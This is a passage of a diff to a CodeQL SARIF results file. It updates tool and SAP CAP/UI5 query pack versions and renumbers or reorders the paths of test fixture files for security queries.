       "driver" : {
         "name" : "CodeQL",
         "organization" : "GitHub",
-        "semanticVersion" : "2.16.4",
+        "semanticVersion" : "2.16.5",
         "notifications" : [ {
           "id" : "cli/expected-extracted-files/javascript",
           "name" : "cli/expected-extracted-files/javascript",
@@ -44,7 +44,7 @@
       },
       "extensions" : [ {
         "name" : "advanced-security/javascript-sap-cap-queries",
-        "semanticVersion" : "0.1.0+b1fbd510971da2b65671de1296cb2c3288f6b252",
+        "semanticVersion" : "0.1.0+4b9ce87813033cc40312b5daba2b0bcba611ab16",
         "rules" : [ {
           "id" : "js/cap-sql-injection",
           "name" : "js/cap-sql-injection",
@@ -113,7 +113,7 @@
         } ]
       }, {
         "name" : "advanced-security/javascript-sap-ui5-queries",
-        "semanticVersion" : "0.5.0+b1fbd510971da2b65671de1296cb2c3288f6b252",
+        "semanticVersion" : "0.6.0+4b9ce87813033cc40312b5daba2b0bcba611ab16",
         "rules" : [ {
           "id" : "js/ui5-xss",
           "name" : "js/ui5-xss",
@@ -280,7 +280,7 @@
         }
       }, {
         "name" : "codeql/javascript-queries",
-        "semanticVersion" : "0.8.10+2daf50500ca8f7eb914c82e88dec36652bfbe8fd",
+        "semanticVersion" : "0.8.11+769e3469a4dba5512d3084b6027a3978c38c59d7",
         "notifications" : [ {
           "id" : "js/diagnostics/extraction-errors",
           "name" : "js/diagnostics/extraction-errors",
@@ -3086,12 +3086,12 @@
           }
         } ],
         "locations" : [ {
-          "uri" : "file:///opt/hostedtoolcache/CodeQL/2.16.4/x64/codeql/qlpacks/codeql/javascript-queries/0.8.10/",
+          "uri" : "file:///opt/hostedtoolcache/CodeQL/2.16.5/x64/codeql/qlpacks/codeql/javascript-queries/0.8.11/",
           "description" : {
             "text" : "The QL pack root directory."
           }
         }, {
-          "uri" : "file:///opt/hostedtoolcache/CodeQL/2.16.4/x64/codeql/qlpacks/codeql/javascript-queries/0.8.10/qlpack.yml",
+          "uri" : "file:///opt/hostedtoolcache/CodeQL/2.16.5/x64/codeql/qlpacks/codeql/javascript-queries/0.8.11/qlpack.yml",
           "description" : {
             "text" : "The QL pack definition file."
           }
@@ -3105,7 +3105,7 @@
             "artifactLocation" : {
               "uri" : ".github/actions/install-qlt/action.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 5
+              "index" : 4
             }
           }
         } ],
@@ -3131,7 +3131,7 @@
             "artifactLocation" : {
               "uri" : ".github/actions/install-codeql/action.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 6
+              "index" : 5
             }
           }
         } ],
@@ -3157,7 +3157,7 @@
             "artifactLocation" : {
               "uri" : ".github/codeql/codeql-config.yaml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 7
+              "index" : 6
             }
           }
         } ],
@@ -3183,7 +3183,7 @@
             "artifactLocation" : {
               "uri" : ".github/codeql/extensions/javascript/frameworks/cap/ext/ext/codeql-pack.lock.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 8
+              "index" : 7
             }
           }
         } ],
@@ -3209,7 +3209,7 @@
             "artifactLocation" : {
               "uri" : ".github/codeql/extensions/javascript/frameworks/cap/ext/ext/qlpack.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 9
+              "index" : 8
             }
           }
         } ],
@@ -3233,9 +3233,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/qlpack.yml",
+              "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/codeql-pack.lock.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 10
+              "index" : 9
             }
           }
         } ],
@@ -3259,9 +3259,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/codeql-pack.lock.yml",
+              "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/qlpack.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 11
+              "index" : 10
             }
           }
         } ],
@@ -3287,7 +3287,7 @@
             "artifactLocation" : {
               "uri" : ".github/codeql/extensions/javascript/frameworks/ui5/ext/ext/ui5.model.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 12
+              "index" : 11
             }
           }
         } ],
@@ -3313,7 +3313,7 @@
             "artifactLocation" : {
               "uri" : ".github/codeql/extensions/javascript/heuristic-models/ext/ext/additional-sources.model.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 13
+              "index" : 12
             }
           }
         } ],
@@ -3339,7 +3339,7 @@
             "artifactLocation" : {
               "uri" : ".github/codeql/extensions/javascript/heuristic-models/ext/ext/codeql-pack.lock.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 14
+              "index" : 13
             }
           }
         } ],
@@ -3365,7 +3365,7 @@
             "artifactLocation" : {
               "uri" : ".github/codeql/extensions/javascript/heuristic-models/ext/ext/qlpack.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 15
+              "index" : 14
             }
           }
         } ],
@@ -3391,7 +3391,7 @@
             "artifactLocation" : {
               "uri" : ".github/workflows/code_scanning.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 16
+              "index" : 15
             }
           }
         } ],
@@ -3417,7 +3417,7 @@
             "artifactLocation" : {
               "uri" : ".github/workflows/run-codeql-unit-tests-javascript.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 17
+              "index" : 16
             }
           }
         } ],
@@ -3443,7 +3443,7 @@
             "artifactLocation" : {
               "uri" : "codeql-workspace.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 18
+              "index" : 17
             }
           }
         } ],
@@ -3469,7 +3469,7 @@
             "artifactLocation" : {
               "uri" : "javascript/frameworks/cap/lib/codeql-pack.lock.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 19
+              "index" : 18
             }
           }
         } ],
@@ -3495,7 +3495,7 @@
             "artifactLocation" : {
               "uri" : "javascript/frameworks/cap/lib/qlpack.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 20
+              "index" : 19
             }
           }
         } ],
@@ -3519,9 +3519,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/src/qlpack.yml",
+              "uri" : "javascript/frameworks/cap/src/codeql-pack.lock.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 21
+              "index" : 20
             }
           }
         } ],
@@ -3545,9 +3545,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/src/codeql-pack.lock.yml",
+              "uri" : "javascript/frameworks/cap/src/qlpack.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 22
+              "index" : 21
             }
           }
         } ],
@@ -3571,9 +3571,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/codeql-pack.lock.yml",
+              "uri" : "javascript/frameworks/cap/test/qlpack.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 23
+              "index" : 22
             }
           }
         } ],
@@ -3597,9 +3597,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/qlpack.yml",
+              "uri" : "javascript/frameworks/cap/test/codeql-pack.lock.yml",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 24
+              "index" : 23
             }
           }
         } ],
@@ -3623,9 +3623,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/cqlinjection/cqlinjection.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/db/log-injection-not-depending-on-request/db/schema.cds.json",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 1
+              "index" : 24
             }
           }
         } ],
@@ -3649,7 +3649,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/db/schema.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 25
             }
@@ -3675,7 +3675,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/package.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/server.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 26
             }
@@ -3701,7 +3701,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/server.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/log-injection-not-depending-on-request/srv/service1.cds.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 27
             }
@@ -3727,7 +3727,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/log-injection-not-depending-on-request/srv/service2.cds.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 28
             }
@@ -3753,7 +3753,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 29
             }
@@ -3779,9 +3779,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 30
+              "index" : 1
             }
           }
         } ],
@@ -3805,9 +3805,9 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.js",
               "uriBaseId" : "%SRCROOT%",
-              "index" : 2
+              "index" : 30
             }
           }
         } ],
@@ -3831,7 +3831,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/db/log-injection-with-complete-protocol-none/db/schema.cds.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 31
             }
@@ -3857,7 +3857,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/db/schema.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 32
             }
@@ -3909,7 +3909,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/package.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/log-injection-with-complete-protocol-none/srv/service2.cds.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 34
             }
@@ -3935,7 +3935,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/log-injection-with-complete-protocol-none/srv/service1.cds.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 35
             }
@@ -3961,7 +3961,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 36
             }
@@ -3987,7 +3987,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 37
             }
@@ -4013,7 +4013,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/db/schema.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/db/log-injection-with-service1-protocol-none/db/schema.cds.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 38
             }
@@ -4039,7 +4039,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 39
             }
@@ -4065,7 +4065,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/package.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/server.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 40
             }
@@ -4091,7 +4091,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/log-injection-with-service1-protocol-none/srv/service1.cds.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 41
             }
@@ -4117,7 +4117,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/server.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/log-injection-with-service1-protocol-none/srv/service2.cds.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 42
             }
@@ -4143,7 +4143,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 43
             }
@@ -4169,7 +4169,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service1.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/db/log-injection-with-service2-protocol-none/db/schema.cds.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 44
             }
@@ -4195,7 +4195,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 45
             }
@@ -4221,7 +4221,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/db/schema.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/server.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 46
             }
@@ -4247,7 +4247,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/package.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/srv/service2.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 47
             }
@@ -4273,7 +4273,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/server.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/log-injection-with-service2-protocol-none/srv/service1.cds.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 48
             }
@@ -4325,7 +4325,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service1.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/log-injection-with-service2-protocol-none/srv/service2.cds.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 50
             }
@@ -4351,7 +4351,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/db/log-injection-without-protocol-none/db/schema.cds.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 51
             }
@@ -4377,7 +4377,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/srv/service2.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 52
             }
@@ -4429,7 +4429,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/db/schema.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/log-injection-without-protocol-none/srv/service1.cds.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 54
             }
@@ -4455,7 +4455,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/server.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/log-injection-without-protocol-none/srv/service2.cds.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 55
             }
@@ -4481,7 +4481,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/server.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 56
             }
@@ -4507,7 +4507,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.json",
+              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 57
             }
@@ -4559,7 +4559,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.json",
+              "uri" : "javascript/frameworks/ui5/lib/qlpack.yml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 59
             }
@@ -4585,7 +4585,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sample-app/package.json",
+              "uri" : "javascript/frameworks/ui5/lib/codeql-pack.lock.yml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 60
             }
@@ -4611,7 +4611,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sample-app/server.js",
+              "uri" : "javascript/frameworks/ui5/src/codeql-pack.lock.yml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 61
             }
@@ -4637,7 +4637,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service1.js",
+              "uri" : "javascript/frameworks/ui5/src/qlpack.yml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 62
             }
@@ -4663,7 +4663,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service2.js",
+              "uri" : "javascript/frameworks/ui5/test/codeql-pack.lock.yml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 63
             }
@@ -4689,7 +4689,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/lib/qlpack.yml",
+              "uri" : "javascript/frameworks/ui5/test/lib/BindingStringParser/test.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 64
             }
@@ -4715,7 +4715,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/lib/codeql-pack.lock.yml",
+              "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 65
             }
@@ -4741,7 +4741,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/src/codeql-pack.lock.yml",
+              "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 66
             }
@@ -4767,7 +4767,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/src/qlpack.yml",
+              "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 67
             }
@@ -4793,7 +4793,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/codeql-pack.lock.yml",
+              "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 68
             }
@@ -4819,7 +4819,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.html",
+              "uri" : "javascript/frameworks/ui5/test/lib/JsonParser/test.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 69
             }
@@ -4845,7 +4845,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/lib/BindingStringParser/test.js",
+              "uri" : "javascript/frameworks/ui5/test/models/binding_path/binding1.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 70
             }
@@ -4871,7 +4871,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.js",
+              "uri" : "javascript/frameworks/ui5/test/models/binding_path/bindingComposite.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 71
             }
@@ -4897,7 +4897,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.json",
+              "uri" : "javascript/frameworks/ui5/test/models/attachDisplay_detachDisplay/webapp/view/App.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 72
             }
@@ -4923,7 +4923,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/lib/Bindings/test.xml",
+              "uri" : "javascript/frameworks/ui5/test/models/property_getter_setter/webapp/view/App.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 73
             }
@@ -4949,7 +4949,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/lib/JsonParser/test.js",
+              "uri" : "javascript/frameworks/ui5/test/models/sink/sink1.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 74
             }
@@ -4975,7 +4975,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/models/binding_path/binding1.xml",
+              "uri" : "javascript/frameworks/ui5/test/models/source/source1.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 75
             }
@@ -5001,7 +5001,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/models/binding_path/bindingComposite.xml",
+              "uri" : "javascript/frameworks/ui5/test/qlpack.yml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 76
             }
@@ -5027,7 +5027,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/models/multiple_models/webapp/view/app.view.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 77
             }
@@ -5053,7 +5053,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/models/sink/sink1.xml",
+              "uri" : "javascript/frameworks/ui5/test/models/multiple_models/webapp/view/app.view.xml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 78
             }
@@ -5079,7 +5079,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/models/source/source1.xml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 79
             }
@@ -5105,7 +5105,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/qlpack.yml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 80
             }
@@ -5131,7 +5131,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 81
             }
@@ -5157,7 +5157,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-deny-all/index.html",
               "uriBaseId" : "%SRCROOT%",
               "index" : 82
             }
@@ -5183,7 +5183,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-deny-all/ui5.yaml",
               "uriBaseId" : "%SRCROOT%",
               "index" : 83
             }
@@ -5209,7 +5209,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/package-lock.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 84
             }
@@ -5235,7 +5235,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-deny-all/index.html",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/package.json",
               "uriBaseId" : "%SRCROOT%",
               "index" : 85
             }
@@ -5261,7 +5261,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
-              "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-deny-all/ui5.yaml",
+              "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-property-sanitized/webapp/control/xss.js",
               "uriBaseId" : "%SRCROOT%",
               "index" : 86
             }
@@ -5287,7 +5287,7 @@
         "locations" : [ {
           "physicalLocation" : {
             "artifactLocation" : {
